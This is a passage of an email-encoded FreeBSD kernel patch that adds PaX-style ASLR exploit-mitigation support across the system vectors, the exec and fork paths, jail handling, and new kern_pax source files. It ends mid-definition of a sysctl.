"Unable to compile Linux-emulator due to missing COMPAT_FREEBSD32 o= ption!" @@ -84,6 +85,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + MODULE_VERSION(linux, 1); =20 MALLOC_DEFINE(M_LINUX, "linux", "Linux mode structures"); @@ -1037,6 +1042,11 @@ struct sysentvec elf_linux_sysvec =3D { .sv_shared_page_base =3D LINUX32_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D linux_schedtail, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf_sysvec, &elf_linux_sysvec); =20 diff --git a/sys/arm/arm/elf_machdep.c b/sys/arm/arm/elf_machdep.c index 8ef9bd4..26e37e6 100644 --- a/sys/arm/arm/elf_machdep.c +++ b/sys/arm/arm/elf_machdep.c @@ -26,6 +26,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -46,6 +48,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + struct sysentvec elf32_freebsd_sysvec =3D { .sv_size =3D SYS_MAXSYSCALL, .sv_table =3D sysent, @@ -79,6 +85,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static Elf32_Brandinfo freebsd_brand_info =3D { diff --git a/sys/compat/freebsd32/freebsd32_misc.c b/sys/compat/freebsd32/f= reebsd32_misc.c index 68e761b..96a81d9 100644 --- a/sys/compat/freebsd32/freebsd32_misc.c +++ b/sys/compat/freebsd32/freebsd32_misc.c @@ -30,6 +30,7 @@ __FBSDID("$FreeBSD$"); #include "opt_compat.h" #include "opt_inet.h" #include "opt_inet6.h" +#include "opt_pax.h" =20 #define __ELF_WORD_SIZE 32 =20 @@ -113,6 +114,10 @@ __FBSDID("$FreeBSD$"); =20 FEATURE(compat_freebsd_32bit, "Compatible with 32-bit FreeBSD"); =20 +#ifdef PAX_ASLR +#include +#endif + #ifndef __mips__ CTASSERT(sizeof(struct timeval32) =3D=3D 8); CTASSERT(sizeof(struct timespec32) =3D=3D 8); @@ -2886,6 +2891,10 @@ freebsd32_copyout_strings(struct image_params *imgp) szsigcode =3D 0; destp =3D (uintptr_t)arginfo; =20 +#ifdef PAX_ASLR + pax_aslr_stack(curthread, &destp); +#endif + /* * install sigcode */ diff --git a/sys/compat/ia32/ia32_sysvec.c b/sys/compat/ia32/ia32_sysvec.c index a8e52e8..ade8da5 100644 --- a/sys/compat/ia32/ia32_sysvec.c +++ b/sys/compat/ia32/ia32_sysvec.c @@ -29,6 +29,7 @@ __FBSDID("$FreeBSD$"); =20 #include "opt_compat.h" +#include "opt_pax.h" =20 #define __ELF_WORD_SIZE 32 =20 @@ -74,6 +75,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + CTASSERT(sizeof(struct ia32_mcontext) =3D=3D 640); CTASSERT(sizeof(struct ia32_ucontext) =3D=3D 704); CTASSERT(sizeof(struct ia32_sigframe) =3D=3D 800); @@ -139,6 +144,11 @@ struct sysentvec ia32_freebsd_sysvec =3D { .sv_shared_page_base =3D FREEBSD32_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf_ia32_sysvec, &ia32_freebsd_sysvec); =20 diff --git a/sys/conf/NOTES b/sys/conf/NOTES index 4d27713..671ef83 100644 --- a/sys/conf/NOTES +++ b/sys/conf/NOTES @@ -2972,3 +2972,7 @@ options RANDOM_RWFILE # Read and write entropy cache =20 # Module to enable execution of application via emulators like QEMU options IMAGACT_BINMISC + +# Address Space Layout Randomization (ASLR) +options PAX_ASLR +options PAX_SYSCTLS diff --git a/sys/conf/files b/sys/conf/files index cc907c50..1e73c88 100644 --- a/sys/conf/files +++ b/sys/conf/files @@ -2907,6 +2907,9 @@ kern/kern_mtxpool.c standard kern/kern_mutex.c standard kern/kern_ntptime.c standard kern/kern_osd.c standard +kern/kern_pax.c optional pax_aslr +kern/kern_pax_aslr.c optional pax_aslr +kern/kern_pax_log.c optional pax_aslr kern/kern_physio.c standard kern/kern_pmc.c standard kern/kern_poll.c optional device_polling diff --git a/sys/conf/options b/sys/conf/options index 32fb4d4..6e81e4e 100644 --- a/sys/conf/options +++ b/sys/conf/options @@ -916,6 +916,12 @@ RACCT opt_global.h # Resource Limits RCTL opt_global.h =20 +# PaX - hardening options +PAX_ASLR opt_pax.h +PAX_ASLR_MAX_SEC opt_pax.h +PAX_MPROTECT opt_pax.h +PAX_SYSCTLS opt_pax.h + # Random number generator(s) RANDOM_YARROW opt_random.h RANDOM_FORTUNA opt_random.h diff --git a/sys/i386/i386/elf_machdep.c b/sys/i386/i386/elf_machdep.c index 034b4c4..9571252 100644 --- a/sys/i386/i386/elf_machdep.c +++ b/sys/i386/i386/elf_machdep.c @@ -26,6 +26,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -46,6 +48,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + struct sysentvec elf32_freebsd_sysvec =3D { .sv_size =3D SYS_MAXSYSCALL, .sv_table =3D sysent, @@ -81,6 +87,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_shared_page_base =3D SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf32_sysvec, &elf32_freebsd_sysvec); =20 diff --git a/sys/i386/ibcs2/ibcs2_sysvec.c b/sys/i386/ibcs2/ibcs2_sysvec.c index 5d007c7..1bb9d89 100644 --- a/sys/i386/ibcs2/ibcs2_sysvec.c +++ b/sys/i386/ibcs2/ibcs2_sysvec.c @@ -31,6 +31,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -50,6 +52,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + MODULE_VERSION(ibcs2, 1); =20 extern int bsd_to_ibcs2_errno[]; @@ -89,6 +95,11 @@ struct sysentvec ibcs2_svr3_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D NULL, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, /* XXXOP */ +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static int diff --git a/sys/i386/linux/linux_sysvec.c b/sys/i386/linux/linux_sysvec.c index 0ad6791..403070c 100644 --- a/sys/i386/linux/linux_sysvec.c +++ b/sys/i386/linux/linux_sysvec.c @@ -29,6 +29,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -72,6 +74,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + MODULE_VERSION(linux, 1); =20 MALLOC_DEFINE(M_LINUX, "linux", "Linux mode structures"); @@ -974,6 +980,11 @@ struct sysentvec linux_sysvec =3D { .sv_shared_page_base =3D LINUX_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D linux_schedtail, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, /* XXXOP */ +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(aout_sysvec, &linux_sysvec); =20 @@ -1012,6 +1023,11 @@ struct sysentvec elf_linux_sysvec =3D { .sv_shared_page_base =3D LINUX_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D linux_schedtail, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf_sysvec, &elf_linux_sysvec); =20 diff --git a/sys/ia64/ia64/elf_machdep.c b/sys/ia64/ia64/elf_machdep.c index 05cb641..e3d19c1 100644 --- a/sys/ia64/ia64/elf_machdep.c +++ b/sys/ia64/ia64/elf_machdep.c @@ -25,6 +25,8 @@ * $FreeBSD$ */ =20 +#include "opt_pax.h" + #include #include #include @@ -49,6 +51,10 @@ #include #include =20 +#ifdef PAX_ASLR +#include +#endif + Elf_Addr link_elf_get_gp(linker_file_t); =20 extern Elf_Addr fptr_storage[]; @@ -86,6 +92,12 @@ struct sysentvec elf64_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif + }; =20 static Elf64_Brandinfo freebsd_brand_info =3D { diff --git a/sys/kern/imgact_aout.c b/sys/kern/imgact_aout.c index 3ae78de..aac03f1 100644 --- a/sys/kern/imgact_aout.c +++ b/sys/kern/imgact_aout.c @@ -27,6 +27,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -62,6 +64,10 @@ __FBSDID("$FreeBSD$"); #include #endif =20 +#ifdef PAX_ASLR +#include +#endif + static int exec_aout_imgact(struct image_params *imgp); static int aout_fixup(register_t **stack_base, struct image_params *imgp); =20 @@ -99,6 +105,11 @@ struct sysentvec aout_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, /* XXXOP */ +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 #elif defined(__amd64__) @@ -143,6 +154,11 @@ struct sysentvec aout_sysvec =3D { .sv_set_syscall_retval =3D ia32_set_syscall_retval, .sv_fetch_syscall_args =3D ia32_fetch_syscall_args, .sv_syscallnames =3D freebsd32_syscallnames, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, /* XXXOP */ +#else + .sv_pax_aslr_init =3D NULL, +#endif }; #else #error "Port me" diff --git a/sys/kern/imgact_elf.c b/sys/kern/imgact_elf.c index 591094e..d0e01d3 100644 --- a/sys/kern/imgact_elf.c +++ b/sys/kern/imgact_elf.c @@ -34,6 +34,7 @@ __FBSDID("$FreeBSD$"); #include "opt_capsicum.h" #include "opt_compat.h" #include "opt_core.h" +#include "opt_pax.h" =20 #include #include @@ -48,6 +49,7 @@ __FBSDID("$FreeBSD$"); #include #include #include +#include #include #include #include @@ -81,6 +83,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#if defined(PAX_ASLR) +#include +#endif + #define ELF_NOTE_ROUNDSIZE 4 #define OLD_EI_BRAND 8 =20 @@ -655,16 +661,16 @@ __elfN(load_file)(struct proc *p, const char *file, u= _long *addr, hdr =3D (const Elf_Ehdr *)imgp->image_header; if ((error =3D __elfN(check_header)(hdr)) !=3D 0) goto fail; - if (hdr->e_type =3D=3D ET_DYN) + if (hdr->e_type =3D=3D ET_DYN) { rbase =3D *addr; - else if (hdr->e_type =3D=3D ET_EXEC) + } else if (hdr->e_type =3D=3D ET_EXEC) { rbase =3D 0; - else { + } else { error =3D ENOEXEC; goto fail; } =20 - /* Only support headers that fit within first page for now */ + /* Only support headers that fit within first page for now */ if ((hdr->e_phoff > PAGE_SIZE) || (u_int)hdr->e_phentsize * hdr->e_phnum > PAGE_SIZE - hdr->e_phoff) { error =3D ENOEXEC; @@ -789,16 +795,7 @@ __CONCAT(exec_, __elfN(imgact))(struct image_params *i= mgp) if (hdr->e_type =3D=3D ET_DYN) { if ((brand_info->flags & BI_CAN_EXEC_DYN) =3D=3D 0) return (ENOEXEC); - /* - * Honour the base load address from the dso if it is - * non-zero for some reason. - */ - if (baddr =3D=3D 0) - et_dyn_addr =3D ET_DYN_LOAD_ADDR; - else - et_dyn_addr =3D 0; - } else - et_dyn_addr =3D 0; + } sv =3D brand_info->sysvec; if (interp !=3D NULL && brand_info->interp_newpath !=3D NULL) newinterp =3D brand_info->interp_newpath; @@ -819,6 +816,25 @@ __CONCAT(exec_, __elfN(imgact))(struct image_params *i= mgp) error =3D exec_new_vmspace(imgp, sv); imgp->proc->p_sysent =3D sv; =20 +#if defined(PAX_MPROTECT) || defined(PAX_ASLR) + pax_elf(imgp, 0); +#endif + + et_dyn_addr =3D 0; + if (hdr->e_type =3D=3D ET_DYN) { + /* + * Honour the base load address from the dso if it is + * non-zero for some reason. + */ + if (baddr =3D=3D 0) { + et_dyn_addr =3D ET_DYN_LOAD_ADDR; +#ifdef PAX_ASLR + if (pax_aslr_active(NULL, imgp->proc)) + et_dyn_addr +=3D imgp->proc->p_vmspace->vm_aslr_delta_exec; +#endif + } + } + vn_lock(imgp->vp, LK_EXCLUSIVE | LK_RETRY); if (error) return (error); diff --git a/sys/kern/init_main.c b/sys/kern/init_main.c index 141d438..9301b57 100644 --- a/sys/kern/init_main.c +++ b/sys/kern/init_main.c @@ -410,6 +410,7 @@ struct sysentvec null_sysvec =3D { .sv_fetch_syscall_args =3D null_fetch_syscall_args, .sv_syscallnames =3D NULL, .sv_schedtail =3D NULL, + .sv_pax_aslr_init =3D NULL, }; =20 /* diff --git a/sys/kern/kern_exec.c b/sys/kern/kern_exec.c index 667715e..24caccc 100644 --- a/sys/kern/kern_exec.c +++ b/sys/kern/kern_exec.c @@ -30,6 +30,7 @@ __FBSDID("$FreeBSD$"); #include "opt_capsicum.h" #include "opt_hwpmc_hooks.h" #include "opt_ktrace.h" +#include "opt_pax.h" #include "opt_vm.h" =20 #include @@ -94,6 +95,10 @@ __FBSDID("$FreeBSD$"); dtrace_execexit_func_t dtrace_fasttrap_exec; #endif =20 +#if defined(PAX_ASLR) +#include +#endif + SDT_PROVIDER_DECLARE(proc); SDT_PROBE_DEFINE1(proc, kernel, , exec, "char *"); SDT_PROBE_DEFINE1(proc, kernel, , exec__failure, "int"); @@ -404,6 +409,7 @@ do_execve(td, args, mac_p) imgp->pagesizes =3D 0; imgp->pagesizeslen =3D 0; imgp->stack_prot =3D 0; + imgp->pax_flags =3D 0; =20 #ifdef MAC error =3D mac_execve_enter(imgp, mac_p); @@ -1064,6 +1070,10 @@ exec_new_vmspace(imgp, sv) map =3D &vmspace->vm_map; } =20 +#ifdef PAX_ASLR + pax_aslr_init(curthread, imgp); +#endif + /* Map a shared page */ obj =3D sv->sv_shared_page_obj; if (obj !=3D NULL) { @@ -1107,6 +1117,9 @@ exec_new_vmspace(imgp, sv) */ vmspace->vm_ssize =3D sgrowsiz >> PAGE_SHIFT; vmspace->vm_maxsaddr =3D (char *)sv->sv_usrstack - ssiz; +#ifdef PAX_ASLR + vmspace->vm_maxsaddr -=3D vmspace->vm_aslr_delta_stack; +#endif =20 return (0); } @@ -1266,6 +1279,9 @@ exec_copyout_strings(imgp) szsigcode =3D *(p->p_sysent->sv_szsigcode); } destp =3D (uintptr_t)arginfo; +#ifdef PAX_ASLR + pax_aslr_stack(curthread, &destp); +#endif =20 /* * install sigcode diff --git a/sys/kern/kern_fork.c b/sys/kern/kern_fork.c index b3d9c24..3cd85d8 100644 --- a/sys/kern/kern_fork.c +++ b/sys/kern/kern_fork.c @@ -513,6 +513,11 @@ do_fork(struct thread *td, int flags, struct proc *p2,= struct thread *td2, } =20 /* + * XXXOP: this is the right place? + */ + p2->p_pax =3D p1->p_pax; + + /* * p_limit is copy-on-write. Bump its refcount. */ lim_fork(p1, p2); diff --git a/sys/kern/kern_jail.c b/sys/kern/kern_jail.c index 47cd568..d9036bd 100644 --- a/sys/kern/kern_jail.c +++ b/sys/kern/kern_jail.c @@ -33,6 +33,7 @@ __FBSDID("$FreeBSD$"); #include "opt_ddb.h" #include "opt_inet.h" #include "opt_inet6.h" +#include "opt_pax.h" =20 #include #include @@ -74,6 +75,10 @@ __FBSDID("$FreeBSD$"); #endif /* INET6 */ #endif /* DDB */ =20 +#if defined(PAX_ASLR) +#include +#endif + #include =20 #define DEFAULT_HOSTUUID "00000000-0000-0000-0000-000000000000" @@ -117,6 +122,10 @@ struct prison prison0 =3D { }; MTX_SYSINIT(prison0, &prison0.pr_mtx, "jail mutex", MTX_DEF); =20 +#if defined(PAX_ASLR) +SYSINIT(pax, SI_SUB_PAX, SI_ORDER_MIDDLE, pax_init_prison, (void *) &priso= n0); +#endif + /* allprison, allprison_racct and lastprid are protected by allprison_lock= =2E */ struct sx allprison_lock; SX_SYSINIT(allprison_lock, &allprison_lock, "allprison"); @@ -1307,6 +1316,10 @@ kern_jail_set(struct thread *td, struct uio *optuio,= int flags) goto done_releroot; } =20 +#if defined(PAX_ASLR) + pax_init_prison(pr); +#endif + mtx_lock(&pr->pr_mtx); /* * New prisons do not yet have a reference, because we do not diff --git a/sys/kern/kern_pax.c b/sys/kern/kern_pax.c new file mode 100644 index 0000000..1bd5ad0 --- /dev/null +++ b/sys/kern/kern_pax.c @@ -0,0 +1,214 @@ +/*- + * Copyright (c) 2006 Elad Efrat + * Copyright (c) 2013-2014, by Oliver Pinter + * Copyright (c) 2014, by Shawn Webb + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTI= ES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF US= E, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $FreeBSD$ + */ + +#include +__FBSDID("$FreeBSD$"); + +#include "opt_compat.h" +#include "opt_pax.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include + +#include +#include +#include + +#include + +#include + +#include + +SYSCTL_NODE(_security, OID_AUTO, pax, CTLFLAG_RD, 0, + "PaX (exploit mitigation) features."); + +struct prison * +pax_get_prison(struct thread *td, struct proc *proc) +{ + + if (td !=3D NULL) { + if ((td->td_proc !=3D NULL) && (td->td_proc->p_ucred !=3D NULL)) + return (td->td_proc->p_ucred->cr_prison); + + return (NULL); + } + if ((proc =3D=3D NULL) || (proc->p_ucred =3D=3D NULL)) + return (NULL); + + return (proc->p_ucred->cr_prison); +} + +void +pax_elf(struct image_params *imgp, uint32_t mode) +{ + u_int flags =3D 0; + + if ((mode & MBI_ALLPAX) =3D=3D MBI_ALLPAX) + goto end; + + if (mode & MBI_FORCE_ASLR_ENABLED) + flags |=3D PAX_NOTE_ASLR; + else if (mode & MBI_FORCE_ASLR_DISABLED) + flags |=3D PAX_NOTE_NOASLR; + +end: + if (imgp !=3D NULL) { + imgp->pax_flags =3D flags; + if (imgp->proc !=3D NULL) { + PROC_LOCK(imgp->proc); + imgp->proc->p_pax =3D flags; + PROC_UNLOCK(imgp->proc); + } + } +} + + +/* + * print out PaX settings on boot time, and validate some of them + */ +void +pax_init(void) +{ +#if defined(PAX_ASLR) + const char *status_str[] =3D { + [0] =3D "disabled", + [1] =3D "opt-in", + [2] =3D "opt-out", + [3] =3D "force enabled", + [4] =3D "UNKNOWN -> changed to \"force enabled\"" + }; +#endif + +#ifdef PAX_ASLR + switch (pax_aslr_status) { + case 0: + case 1: + case 2: + case 3: + break; + default: + printf("[PAX ASLR] WARNING, invalid PAX settings in loader.conf!" + " (pax_aslr_status =3D %d)\n", pax_aslr_status); + pax_aslr_status =3D 3; + break; + } + printf("[PAX ASLR] status: %s\n", status_str[pax_aslr_status]); + printf("[PAX ASLR] mmap: %d bit\n", pax_aslr_mmap_len); + printf("[PAX ASLR] exec base: %d bit\n", pax_aslr_exec_len); + printf("[PAX ASLR] stack: %d bit\n", pax_aslr_stack_len); + +#ifdef COMPAT_FREEBSD32 + switch (pax_aslr_compat_status) { + case 0: + case 1: + case 2: + case 3: + break; + default: + printf("[PAX ASLR (compat)] WARNING, invalid PAX settings in loader.conf= ! " + "(pax_aslr_compat_status =3D %d)\n", pax_aslr_compat_status); + pax_aslr_compat_status =3D 3; + break; + } + printf("[PAX ASLR (compat)] status: %s\n", status_str[pax_aslr_compat_sta= tus]); + printf("[PAX ASLR (compat)] mmap: %d bit\n", pax_aslr_compat_mmap_len); + printf("[PAX ASLR (compat)] exec base: %d bit\n", pax_aslr_compat_exec_le= n); + printf("[PAX ASLR (compat)] stack: %d bit\n", pax_aslr_compat_stack_len); +#endif /* COMPAT_FREEBSD32 */ +#endif /* PAX_ASLR */ + + printf("[PAX LOG] logging to system: %d\n", pax_log_log); + printf("[PAX LOG] logging to user: %d\n", pax_log_ulog); +} +SYSINIT(pax, SI_SUB_PAX, SI_ORDER_FIRST, pax_init, NULL); + +void +pax_init_prison(struct prison *pr) +{ + + if (pr =3D=3D NULL) + return; + + if (pr->pr_pax_set) + return; + + mtx_lock(&(pr->pr_mtx)); + + if (pax_aslr_debug) + uprintf("[PaX ASLR] %s: Setting prison %s ASLR variables\n", + __func__, pr->pr_name); + +#ifdef PAX_ASLR + pr->pr_pax_aslr_status =3D pax_aslr_status; + pr->pr_pax_aslr_debug =3D pax_aslr_debug; + pr->pr_pax_aslr_mmap_len =3D pax_aslr_mmap_len; + pr->pr_pax_aslr_stack_len =3D pax_aslr_stack_len; + pr->pr_pax_aslr_exec_len =3D pax_aslr_exec_len; + +#ifdef COMPAT_FREEBSD32 + pr->pr_pax_aslr_compat_status =3D pax_aslr_compat_status; + pr->pr_pax_aslr_compat_mmap_len =3D pax_aslr_compat_mmap_len; + pr->pr_pax_aslr_compat_stack_len =3D pax_aslr_compat_stack_len; + pr->pr_pax_aslr_compat_exec_len =3D pax_aslr_compat_exec_len; +#endif /* COMPAT_FREEBSD32 */ +#endif /* PAX_ASLR */ + + pr->pr_pax_log_log =3D pax_log_log; + pr->pr_pax_log_ulog =3D pax_log_ulog; + + pr->pr_pax_set =3D 1; + + mtx_unlock(&(pr->pr_mtx)); +} diff --git a/sys/kern/kern_pax_aslr.c b/sys/kern/kern_pax_aslr.c new file mode 100644 index 0000000..4b5e8dd --- /dev/null +++ b/sys/kern/kern_pax_aslr.c @@ -0,0 +1,685 @@ +/*- + * Copyright (c) 2006 Elad Efrat + * Copyright (c) 2013-2014, by Oliver Pinter + * Copyright (c) 2014, by Shawn Webb + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTI= ES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF US= E, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $FreeBSD$ + */ + +#include +__FBSDID("$FreeBSD$"); + +#include "opt_compat.h" +#include "opt_pax.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include + +#include + +#include + +FEATURE(aslr, "Address Space Layout Randomization."); + +int pax_aslr_status =3D PAX_ASLR_OPTOUT; +int pax_aslr_debug =3D 0; + +#ifdef PAX_ASLR_MAX_SEC +int pax_aslr_mmap_len =3D PAX_ASLR_DELTA_MMAP_MAX_LEN; +int pax_aslr_stack_len =3D PAX_ASLR_DELTA_STACK_MAX_LEN; +int pax_aslr_exec_len =3D PAX_ASLR_DELTA_EXEC_MAX_LEN; +#else +int pax_aslr_mmap_len =3D PAX_ASLR_DELTA_MMAP_DEF_LEN; +int pax_aslr_stack_len =3D PAX_ASLR_DELTA_STACK_DEF_LEN; +int pax_aslr_exec_len =3D PAX_ASLR_DELTA_EXEC_DEF_LEN; +#endif /* PAX_ASLR_MAX_SEC */ + +#ifdef COMPAT_FREEBSD32 +int pax_aslr_compat_status =3D PAX_ASLR_OPTOUT; +#ifdef PAX_ASLR_MAX_SEC +int pax_aslr_compat_mmap_len =3D PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN; +int pax_aslr_compat_stack_len =3D PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN; +int pax_aslr_compat_exec_len =3D PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN; +#else +int pax_aslr_compat_mmap_len =3D PAX_ASLR_COMPAT_DELTA_MMAP_MIN_LEN; +int pax_aslr_compat_stack_len =3D PAX_ASLR_COMPAT_DELTA_STACK_MIN_LEN; +int pax_aslr_compat_exec_len =3D PAX_ASLR_COMPAT_DELTA_EXEC_MIN_LEN; +#endif /* PAX_ASLR_MAX_SEC */ +#endif /* COMPAT_FREEBSD32 */ + +TUNABLE_INT("security.pax.aslr.status", &pax_aslr_status); +TUNABLE_INT("security.pax.aslr.mmap_len", &pax_aslr_mmap_len); +TUNABLE_INT("security.pax.aslr.debug", &pax_aslr_debug); +TUNABLE_INT("security.pax.aslr.stack_len", &pax_aslr_stack_len); +TUNABLE_INT("security.pax.aslr.exec_len", &pax_aslr_exec_len); +#ifdef COMPAT_FREEBSD32 +TUNABLE_INT("security.pax.aslr.compat.status", &pax_aslr_compat_status); +TUNABLE_INT("security.pax.aslr.compat.mmap", &pax_aslr_compat_mmap_len); +TUNABLE_INT("security.pax.aslr.compat.stack", &pax_aslr_compat_stack_len); +TUNABLE_INT("security.pax.aslr.compat.stack", &pax_aslr_compat_exec_len); +#endif + + +#ifdef PAX_SYSCTLS +/* + * sysctls and tunables + */ +static int sysctl_pax_aslr_debug(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_status(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_mmap(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_stack(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_exec(SYSCTL_HANDLER_ARGS); + +SYSCTL_DECL(_security_pax); + +SYSCTL_NODE(_security_pax, OID_AUTO, aslr, CTLFLAG_RD, 0, + "Address Space Layout Randomization."); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, status, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_status, "I", + "Restrictions status. " + "0 - disabled, " + "1 - opt-in, " + "2 - opt-out, " + "3 - force enabled"); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, debug, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_debug, "I", + "ASLR debug mode"); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, mmap_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_mmap, "I", + "Number of bits randomized for mmap(2) calls. " + "32 bit: [8,16] 64 bit: [16,32]"); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, stack_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_stack, "I", + "Number of bits randomized for the stack. " + "32 bit: [6,12] 64 bit: [12,21]"); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, exec_len, + 